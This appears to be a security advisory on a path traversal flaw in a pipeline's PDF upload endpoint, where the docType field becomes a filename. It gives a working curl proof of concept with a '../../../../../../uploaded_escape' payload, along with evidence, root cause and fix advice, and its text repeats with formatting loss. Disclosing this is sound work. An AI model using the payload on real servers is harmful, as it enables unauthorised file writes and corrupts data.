Summary
The multipart upload endpoint /api/pipeline/sources/upload accepts a user-controlled docType. In the manual upload flow, docType is reused to derive the output filename when it is not one of the predefined stable types.
That derived filename is written with:
const filename = input.filename ?? stableFilenameFor(input.docType)
const targetAbs = path.join(sourceDir, filename)
Because stableFilenameFor() falls back to ${docType}.pdf with no path-segment validation, an attacker can send docType=../../../../../../uploaded_escape and cause the server to write the uploaded PDF outside the configured data root.
I validated this through the real HTTP endpoint with a valid PDF upload and confirmed the file was created outside PRODUCT_MCP_DATA_DIR.
Reproduction Steps
- Start the app with a temporary isolated data root and DB so the exploit does not touch the real workspace:
TMPROOT=$(mktemp -d /tmp/pdex-upload-test.XXXXXX)
cp -a data/sample "$TMPROOT/data"
PRODUCT_MCP_DATA_DIR="$TMPROOT/data" STUDIO_DB_PATH="$TMPROOT/studio.sqlite" npm run migrate
PRODUCT_MCP_DATA_DIR="$TMPROOT/data" STUDIO_DB_PATH="$TMPROOT/studio.sqlite" npm run dev
- Prepare any valid PDF larger than
50 KB. I generated one locally with headless Chrome.
- Send a multipart upload with traversal in
docType:
curl -sS -F 'productSlug=r770' \
-F 'docType=../../../../../../uploaded_escape' \
-F 'scope=own' \
-F 'title=Traversal upload PoC' \
-F 'file=@/tmp/pdex-valid-large.pdf;type=application/pdf;filename=poc.pdf' \
http://localhost:3210/api/pipeline/sources/upload
- Check whether the write escaped the configured data root:
test -f "$TMPROOT/uploaded_escape.pdf" && echo escaped
test -f "$TMPROOT/data/uploaded_escape.pdf" && echo inside-data
Actual Result
The API returned success and wrote the uploaded file outside PRODUCT_MCP_DATA_DIR.
Expected Result
The upload API should reject any docType or filename that is not a single safe basename, and it must never write outside PRODUCT_MCP_DATA_DIR.
Evidence
Baseline health:
npm test
4 passed (4)
35 passed (35)
npm run build
build completed successfully
Exploit request response:
{"ok":true,"productSlug":"r770","localPath":"../uploaded_escape.pdf","sha256":"971c87cecd93039ca810b167c8cf91bc0a9d4f0dbed355b38757f29d91646f3e","pageCount":1,"fileSize":74648}
HTTP status:
Filesystem proof:
ESC_EXISTS=yes
ESC_SIZE=74648
INSIDE_DATA=no
REPO_POLLUTED=no
The app also persisted traversal paths into product metadata:
/tmp/pdex-upload-test.../data/server/dell/poweredge/r770/sources.yaml
10: - filename: ../../../../../../uploaded_escape.pdf
11: type: ../../../../../../uploaded_escape
/tmp/pdex-upload-test.../data/server/dell/poweredge/r770/r770.md
60: - local: source/../../../../../../uploaded_escape.pdf
61: type: ../../../../../../uploaded_escape
Relevant code paths:
Root Cause
stableFilenameFor() falls back to raw user input:
return STABLE_FILENAMES[docType] ?? `${docType}.pdf`;
That value is then joined directly into a filesystem path:
const targetAbs = path.join(sourceDir, filename);
There is no basename enforcement, traversal check, or final resolved-path boundary check against PRODUCT_MCP_DATA_DIR.
Security/Business Impact
This is an unauthenticated arbitrary file write outside the product data root.
Impact:
- Attackers can place files in parent directories reachable by the server process.
- The system records poisoned paths in
sources.yaml and product Markdown, corrupting pipeline state.
- If a writable target path later becomes executable/served/processed by another component, this can become a stronger compromise path.
- Even without direct code execution, this is a critical integrity violation in a data-ingestion pipeline.
Suggested Fix
- Treat
docType as metadata only, never as a path fragment.
- Restrict output filenames to a fixed allowlist or generate them server-side.
- If custom filenames are allowed, validate them as a basename only:
- no slashes
- no
..
- no path separators after normalization
- Resolve the final target path and reject if it does not stay within the intended
sourceDir and PRODUCT_MCP_DATA_DIR.
- Add regression tests for multipart uploads using traversal payloads in both
docType and any optional filename field.
Summary
The multipart upload endpoint
/api/pipeline/sources/uploadaccepts a user-controlleddocType. In the manual upload flow,docTypeis reused to derive the output filename when it is not one of the predefined stable types.That derived filename is written with:
const filename = input.filename ?? stableFilenameFor(input.docType)const targetAbs = path.join(sourceDir, filename)Because
stableFilenameFor()falls back to${docType}.pdfwith no path-segment validation, an attacker can senddocType=../../../../../../uploaded_escapeand cause the server to write the uploaded PDF outside the configured data root.I validated this through the real HTTP endpoint with a valid PDF upload and confirmed the file was created outside
PRODUCT_MCP_DATA_DIR.Reproduction Steps
50 KB. I generated one locally with headless Chrome.docType:Actual Result
The API returned success and wrote the uploaded file outside
PRODUCT_MCP_DATA_DIR.Expected Result
The upload API should reject any
docTypeor filename that is not a single safe basename, and it must never write outsidePRODUCT_MCP_DATA_DIR.Evidence
Baseline health:
Exploit request response:
{"ok":true,"productSlug":"r770","localPath":"../uploaded_escape.pdf","sha256":"971c87cecd93039ca810b167c8cf91bc0a9d4f0dbed355b38757f29d91646f3e","pageCount":1,"fileSize":74648}HTTP status:
Filesystem proof:
The app also persisted traversal paths into product metadata:
Relevant code paths:
Root Cause
stableFilenameFor()falls back to raw user input:That value is then joined directly into a filesystem path:
There is no basename enforcement, traversal check, or final resolved-path boundary check against
PRODUCT_MCP_DATA_DIR.Security/Business Impact
This is an unauthenticated arbitrary file write outside the product data root.
Impact:
sources.yamland product Markdown, corrupting pipeline state.Suggested Fix
docTypeas metadata only, never as a path fragment...sourceDirandPRODUCT_MCP_DATA_DIR.docTypeand any optional filename field.